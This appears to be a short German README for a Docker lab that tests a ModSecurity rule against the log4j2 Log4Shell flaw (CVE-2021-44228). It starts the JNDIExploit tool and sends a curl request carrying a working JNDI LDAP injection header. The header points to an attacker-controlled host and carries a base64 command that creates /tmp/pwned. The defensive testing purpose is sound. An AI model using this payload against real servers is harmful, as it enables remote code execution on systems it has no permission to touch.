
ModSec-Regel für den Schutz von log4j2 - CVE-2021-44228
docker stack deploy -c docker-compose.yml WAF
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
1- Wie erkenne ich, ob mein WAF und die verwundbare Webanwendung gestartet sind?
Führen Sie docker service ls aus und überprüfen Sie, ob zwei Dienste vorhanden sind, jeder mit einer Replik.
2- Wie erhalte ich das ModSec-Protokoll?
Führen Sie docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log aus.
3- Wie überprüfe ich, ob der RCE nicht funktioniert hat?
Der von uns verwendete curl-Befehl erstellt eine Datei namens pwned in /tmp. Daher müssen wir Folgendes ausführen:
docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp